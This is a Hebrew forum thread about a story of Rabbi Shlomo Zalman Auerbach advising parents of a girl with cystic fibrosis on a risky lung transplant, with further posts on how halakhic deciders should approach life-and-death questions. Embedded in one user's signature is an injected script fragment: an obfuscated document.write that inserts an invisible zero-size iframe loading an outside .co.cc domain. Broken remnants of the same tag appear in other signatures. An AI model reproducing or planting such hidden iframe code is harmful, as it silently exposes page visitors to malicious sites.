שאלות של חיים ומוות

לא קל להיות רב ופוסק. לא קל להכריע בשאלות של חיים ומוות.

אבל לפעמים זה מה שדורשים מהרב.

איך עונים? איך עונים כאשר אין נבואה ואין רוח הקודש, כפי שהרב עצמו יודע יפה? וכאשר גם ההלכה אינה מספקת תשובות? מה מלמדת המטא-הלכה?

את הסיפור הבא מצאתי בספר "חידת הייסורים, כאב ואובדן במבט קיומי, הגותי ויהודי", (בית מורשה והוצאת ידיעות אחרונות חמד).

זה סיפורה של רחל פוקס אטון, מטפלת משפחתית שמתמחה בהתמודדות עם מחלה ואובדן, גם בשל האובדן האישי שפקד אותה ואת משפחתה. ילדתה רות, שנפטרה מCF בגיל 11 שנים בלבד.

הספר כולו מוקדש לסיפורי אובדן ולצידם מאמרים על התמודדות עם אובדן, והוא ראוי לאשכול בפני עצמו. כאן אני רוצה להציג סיפור מתוך סיפור, לא מזוית הראיה של האם אלא דווקא אודות הרב שאליו פנו עם שאלה של חיים ומוות.

רבי שלמה זלמן אויירבך ע"ה.

לא ברור מן הדברים בת כמה היתה הבת כאשר פנו אל הרב עם השאלה. ברור שהמצב היה קריטי, כנראה סופני, והתקוה היחידה היתה השתלת ריאות.

שוב, הסיפור אינו מציג פרטים מדוייקים אבל ניתן להבין ממנו שהיה זה ניתוח יקר מאד, וגם לא היה ברור שהוא יצליח.

אבל חיי ילדה על כף המאזנים!

ומנגד, יתכן שלמרות כל ההוצאות, והסבל, לילדה ולהורים ולשאר בני המשפחה, עדיין זה לא יביא לשום תועלת.

ההורים חיפשו מישהו שיגיד להם מה לעשות. והם מצאו, בצדק כפי שמוכיח הסיפור, את הרשז"א.

רשות הדיבור לכותבת (עמ' 70-71):

"שקית האינפוזיה מטפטפת תקווה, ריאות חדשות מושתלות...
ואני מתרוצצת... שואלת מהו... מה רצונך."

[מי יודע למה התכוונה אך אפשר שזה השלב שבו האדם משלים במקצת עם המוות שיגיע ומעניק לו פשר בתור רצון השם. ועכשו השאלה היא לא איך מצילים את הנפש, אלא מהי המטרה שאליה יש לשאוף ומה הם האמצעים הנבחרים. בקיצור, מה ה' רוצה ממני כעת. כך הבנתי את הדברים].

הבת, רות, "בלחישה של אהבה... מסכימה אם אין ברירה".

[איני יודע כמה הבינה הבת אבל לסבול סבלה, ולמען הוריה היתה מוכנה להתאמץ. אולי].

"ואבא מבקש שנלך לרבו, ר' שלמה זלמן אויערבאך, לשמוע בעצתו. כי איך אפשר לדעת מה נכון? מה אפשר?"

היא עצמה נבוכה לנוכח ההצעה. "איך אפשר בכלל לתת שם ומילה לפחד הזה, הפחד מפני מה שיקרה לילדה שלך, ואיך אוכל לתת למישהו אחר לדעת על חיי, לומר ולפסוק"?

אבל הם הלכו.

התיאור הבא, שירי וכואב, קשה למצוא דומה לו. ועם כל זאת, ניתן ללמוד ממנו הלכה ומטא הלכה.

מרפסת בשערי חסד. אנשים עומדים בתור. רגלים רועדות. שמים כחולים בחודש שבט.
אב ואם מהוססים, מבוהלים, באו לשאול: מה יגזרו רבנן?
"מי בחניקה ומי בסקילה, מי ינוח ומי ינוע..."
ומאז אותו דיבור פשוט שבו נפרשו שמים עד תום, מאז אותו הרגע שבו נאנח הרב -
הקשיב ושתק, שמע ונאנח:
זו לא שאלה לבני אדם, אמר בפשטות.
אבל הרב, אולי לא הבין, עלינו לדעת, לקבל החלטה, מיליון דולר, טיסה לחו"ל, ילדים...
זו לא שאלה לבני אדם, הוא חוזר בתוקף. זו שאלה לקדוש ברוך הוא.
שתיקה.
בכי.
ומשם נפתח לו האופק של חיי. בזה הרגע קפצתי אל התוהו ובו מצאתי את עצמי.
לכו אחר הלב. כל מה שתבחרו נכון הוא.

עד כאן העתקה מן הדיווח.

אסכם בלשון יותר הלכתית.

השאלה: מה עדיף? להיכנס לחובות של מיליון דולר, לקחת את הילדה הנענית (מלשון עינוי) לאמריקה, לעזוב את הבית ואת הילדים האחרים (אני משער שיש), לעשות הכל כדי להשיג ריאות להשתלה. וכנראה זה לא ודאי, כי אחרת זו לא שאלה.

או להישאר, ולדעת שויתרנו על הזדמנות גורלית להצלת חיים, הסיכוי היחיד שאולי היא היתה שורדת?

רפואית ומקצועית, אני מבין שאין תשובה לשאלה כזו. כלומר, אפשר לתת סיכויים (ויש רופאים שנזהרים גם מזה). לא יותר מסיכויים.

להכריע?

האדם רוצה שמישהו יחליט עבורו את ההחלטות הקשות.

הרב מוכן לעשות זאת עבור אחרים. אבל לא תמיד. ולא במקרה זה.

האם התשובה של הרב היתה מיועדת לבני אותה משפחה מפני שהם היו אנשים חכמים ופתוחים, אקדמאים? אני סבור שלא. אני מבין, מבין השורות, ולפי האופן שבו מצטייר הרשז"א, שזו היתה תשובתו בכל מקרה.

אין תשובה הלכתית.

אז מה כן? איך מכריעים?

בעצם, הוא מחזיר את ההכרעה לידיהם. אבל הוא עושה עוד שני דברים.

הוא מעצים את הקושי להכריע. הוא משחרר אותם מן העול הנורא של רגשות האשמה של וי לי אם אתחייב בחובות ואכשל לעומת וי לי אם אשאר בבית ואניח לה למות ככה.

רק ה' בכבודו ובעצמו יכול לומר, והרי אין נבואה היום.

ולכן: לכו ותכריעו, לפי הלב, ודעו שמה שהכרעתם הוא הנכון!

בכך מעניק הרב לגיטימציה לכל מה שיבחרו. הוא מנקה אותם מן הכאב העצום של הפחד לטעות. והוא מעניק להם עיבוד מחדש של המצב (רפריימיניג בלעז פסיכולוגי) לפיו הם נדרשים לנסות, לא להצליח, להרשות לעצמם לקוות עם הכאב, לראות בכך את הנסיון ואת יד השם, לקבל באהבה ככל שיוכלו מה שיהיה, ולדעת שהם פועלים נכון בלי לפחד.

זו מטא הלכה.

זו ההלכה-על שמלמדת מה עושים כאשר אין תשובות, אבל עדיין האדם השואל זקוק ליד מכוונת, לבטחון, לתחושת אישור שהוא חי ובוחר נכון, שה' מלווה אותו למרות הדבר הנורא שקרה.

כל זה נתן להם הרשז"א. והוא נתן להם את המתנה המופלאה הזו מתוך אהבה שניתן לחוש בה, מתוך אחריות עצומה שניתן לחוש בה גם מבעד לסיפור, מתוך חכמה, מתוך כל מה שפוסק ראוי שיהיה לו כדי שיוכל למלא את תפקידו.

אנו יכולים ללמוד. ולהתפלל שלעולם לעולם לא נזדקק לשאלות כאלו, לא אנו ולא שום אדם.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

אלי

צר לי. בסיפור לא כתוב אם החליטו לנסוע או לא. כן כתוב בסוף הספר שהבת נפטרה. ולמעשה גם בסיפור זה כתוב.



אמנם הלקחים שהפקתי כמדומה עומדים במקומם.

ומה הלקחים שהפקת?

לנסות לעזור פסיכולוגית כשאין דרך אחרת?

בדיוק.

ופרטתי אותם לעיל. בקצרה שוב: לתת את העצה הטובה ביותר האפשרית. לתת להורים פרשנות שתאפשר להם להשלים עם כך שכל החלטה שלהם עלולה להסתיים במחיר קשה ומר. לתת להורים פרשנות שזה מה שהשם רוצה מהם, שילכו אחרי מה שהם מבינים שזה הטוב ביותר, וידעו שהחלטה זו, גם אם לא תסתיים בחיים, היא היא היתה רצון השם באותה שעה. וכל זה מתוך אהבה (ואמפתיה) שנחרטו בליבם.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

אני אהיה מיימוני לרגע.

מהי שאלת האשכול?
האם היא אפסיטמולוגית? אונטולוגית? תיאולוגית? אנליטית?
מהם הכלים לענות עליה?
באיזו מתודולוגיה נבחן אותם?

אליס – לסקרנותך :לא נסעו

מ 80 : -  לא היו לרב אב"ש עצות שנכשלו? הוא רופא? זה ההבדל בינו לבין הגרשז"א. זה ידע מה הוא כן (פוסק) ומה הוא לא (רופא).

רציוס'

שאלות חשובות שאלת.

וזה המתווה המועדף בעיני: מטרתי שלי באשכול היא לדון כיצד פוסקים אמורים להתייחס, לפי עקרונות של מטא הלכה, לשאלות של חיים ומוות.

מה הם העקרונות המטא הלכתיים, ומה המטרות שהם אמורים להשיג, יתברר, אני מקוה, מתוך הדיון. יש לי השערות לגבי מה הם עקרונות אלו, אבל אני בטוח שאלמד הרבה מן הדיון.

הדוגמא הראשונה הציגה את המטרות - הפסיכולוגיות כדבריך - שהשיג הרב בתשובתו.

לא אחזור עליהם שוב. הם בעמוד הזה קצת יותר למעלה.

***

מ80

תודה על הצטרפותך לדיון

שתי נקודות העולות מדבריך:

א. ברור שהרב אמור לא להתערב במה שהוא לא מבין. כן כתבתי בעצמי, שהידע הרפואי שמהווה בסיס לסיפור העצוב של בת חולת הCF הראה (אני מבין מהסיפור) שאין הכרעה חד משמעית אם להשקיע בהשתלה. זה יכול להצליח ויכול שלא. ושוב, איני מבין מעבר למה שכתוב בויקי על המחלה הזו (מחלה הפוגעת בדרכי הנשימה ומביאה סוף סוף למוות). בהתאם למצב הבת ולידע הרפואי והטכנולוגי, ניתן היה להשקיע בהשתלת ריאות שיכלה לעזור ויכלה להיכשל. והעלויות שלה היו נוראות (למשל, המחיר שמשלמים הילדים על נסיעת ההורים לחו"ל, אם זה מה שהיה שם. ה' ירחם. מצד שני, גם מחלה סופנית של אחד הילדים היא דבר נורא, והאם צריך להאריך).

הרב אויירבך היה בעל כישורים ניתוחיים שמאפשרים להבין שאלות כאלו כאשר הן מיוצגות בצורה בהירה וממצה, או לסדר את החומר בצורה בהירה וממצה מתוך מה שנמסר לו. הוא גם היה בעל ידע רפואי חיצוני (לא מתוך לימוד אקדמי אלא מתוך היכרות עם התחום). כמדומה שבתחומים רבים ניתן להגיע לידע של מסקנות גם בלי הדרך שמגיעים אליהן. וכמובן הוא היה בעל ידע הלכתי ומטא הלכתי, "כתפים" של מי שמסוגל ויודע שהוא חייב להכריע, ושאר הנתונים של פוסק (להבדיל מרב טכנאי שתפקידו לאתר בספרות את התשובה הקיימת).

אם הרב ד"ר הלפרין יגלה את האשכול הזה, יתכן שנזכה לידיעותיו אודות הרשז"א (נוסף לידיעותיו ברפואה). אני מניח שהוא יוכל לתרום להבהרת מנגנוני הידע, הניתוח והפסק הדרושים והמאפשרים מתן תשובות בנושאים כאלו.

שימו לב כי בפסקאות אלו ניסיתי להבחין בין שלושה סוגי כישורים הדרושים לפוסק להתייחסות לשאלות של חיים ומוות.

***
ושוב למ80 אודות הרב בן ציון אבא שאול.

לפי דמותו של הרב כפי שהיא עולה מכתביו, אכן היה פוסק גדול מהסוג שיכול וראוי לשמש דוגמא לאשכול.

הבאת שני סיפורים והבה ננתח אותם יחד.

א. הרב המליץ לוותר על אישפוז ולהסתפק בטיפול בבית עם אנטיביוטיקה.

לדבריך ההמלצה נבעה מתוך "למדנותו" אבל כפי שניסיתי להראות לעיל בתגובה זו, המונח "למדנותו" עשוי להיות רחב ולהתייחס לשלושה תנאי יסוד: ידע רפואי, כישורי ניתוח ויכולות של פוסק שהן מעבר לבקיאות הנדרשת מרב רגיל. כמדומה שהכרעתו של הרב בן ציון אבא שאול בדוגמא זו יכלה להסתמך אך ורק על ידע רפואי ולא על למדנות במקורות שלנו. ולכן יש לדקדק בשימוש במונח "למדנותו" בהקשר זה.

ב. הדוגמא השניה היא בעייתית מאד בעיני ואסביר מדוע.

יש שאלה אם לנתח אשה לפני לידה. אני מבין שמדובר במצב לא חד משמעי. אין סכנה שמחייבת אך ורק ניתוח, כי אחרת הרופאים היו יוצאים בשצף קצף נגד הרב המתערב במה שאינו מבין - ובצדק היו נוהגים כן. אין העדר סכנה שמאפשר לחכות ללידה רגילה. במצבים כאלו יש יותר מפתרון רפואי אחד, ורופאים יגיבו בצורה שונה בהתאם לנסיונם, גישותיהם וגם להשערתי אותו כלי שקשה להגדיר שמכנים "אינטואיציה מקצועית" ומבדיל בין הרופא הגדול לרופא ה"רגיל".

אילו הרב בן ציון היה מסתמך על היכרותו המקצועית רפואית עם בעיות כאלו, תשובתו היתה מובנת.

התשובה "הסתמכתי על תחושת ליבי" היא מוזרה, וגם לא חד משמעית. אפרט. נניח שרב אומר: אל תנתחו כי חלמתי בלילה חלום וכו' ומתוכו הבנתי שאין צורך בניתוח. והרב חסר ידע ברפואה. האם זו תשובה ראויה? יש תשובות כאלו ויש סיפורים כאלו על ניסים רפואיים שהתרחשו למי ששמע בקול הרב, וכולנו מכירים וכולנו אוהבים (?) סיפורים כאלו. הם מעניקים לנו תחושה שלא הכל דטרמיניסטי ויש ניסים. אבל צריך בירור רב אם העולם באמת מתנהל בצורה כזו ואם מותר להסתמך על גישות כאלו.

כמדומה שאצל הרשז"א לא נראתה גישה כזו ובוודאי לא בסיפור האמור (וד"ר הלפרין יכול להרחיב כאן).

את הרב בן ציון אבא שאול אפשר להבין כמי שאומר: מתוך היכרותי עם המצב הרפואי האמור, אפשר לחכות. אולם במקום להאריך בניתוח המצב, הוא מגיע לשורה האחרונה: זה יכול להסתדר מעצמו כפי שבאמת קורה. והוא מציג זאת בתמציתיות ב"ליבי אמר לי".

מדוע הרב לא פירט? מדוע הציג זאת כהסתמכות על "הלב"? יתכן כמובן שאני טועה ויש כאן סוג של רוח הקודש שהרב האמין שהוא זוכה לה לעתים. זה אפשרי. (גם החזו"א כתב שיש מקרים שבהם אדם חש שהוא נחן ברוח הקודש. אבל גם אם יש כאלו תופעות, מסוכן מאד להסתמך עליהן, כי הדמיון מפתה להאמין שכך זה גם בהזדמנות זו). אבל יתכן גם שהרב אבא שאול אמר מה שאמר דווקא בגלל שרצה שלא ילמדו ממנו, וטענה של "ליבי אומר לי" מונעת כל אפשרות להפוך את הדוגמא לכלל. בנסיבות אחרות יש לשמוע לרופאים. כאן זה היה חריג.

האם זו גישה ראויה לפוסק? סוף סוף, אם יש נימוקים, ואפילו הסתברותיים, לגישת שב ואל תעשה, תורה היא ולימוד היא צריכה.

איני יודע להכריע בדברים מעבר לאפשרויות שהצגתי כאן.

_____תוקנה טעות במילה ששמתי לב אליה מאוחר____________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

ת"ט

תודה רבה!

ראשית, מתבקש לשאול מהיכן אתה יודע זאת... אבל אולי זה אאוטינג.

שנית, אתה מחלק בין גישתו של הרשז"א לבין גישת הרב א"ש ואתה גם מחלק ביניהם כפוסקים אולי?

כמדומה שהלקח שעולה מהסיפור הראשון שבו נפתח האשכול מראה שהרב לא טען שיש תשובות נכונות ודאיות, אלא שדווקא בגלל שאין כאלו, לכן התשובה חוזרת לידי ההורים (ואין עליהם אשם במה שיבחרו).

יתכן שבמקרים שתוארו אודות הרב א"ש גם הרשז"א היה מורה בדומה לכך. ויתכן שהרב א"ש היה נוהג כמו הרשז"א במקרה הראשון.

הנקודה המרכזית שלי היא שבשאלות כאלו, אם התשובה נבחרת בשיקול הדעת ובזהירות, כיון שלא תיתכן ידיעה, אם הפוסק היה זהיר אזי הנכונות של התשובה אינה הבראתו של החולה אלא היחס הנכון מצד משפחתו והסביבה.

וכמובן אם יש שאלות שניתנות להכרעה רפואית, אז התשובות הנדרשות הן מסוג אחר. פתחתי את האשכול עם דוגמא קיצונית, שבה אי אפשר להכריע. אפילו לא על פי סבירות.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

.

מעשה ירוחם: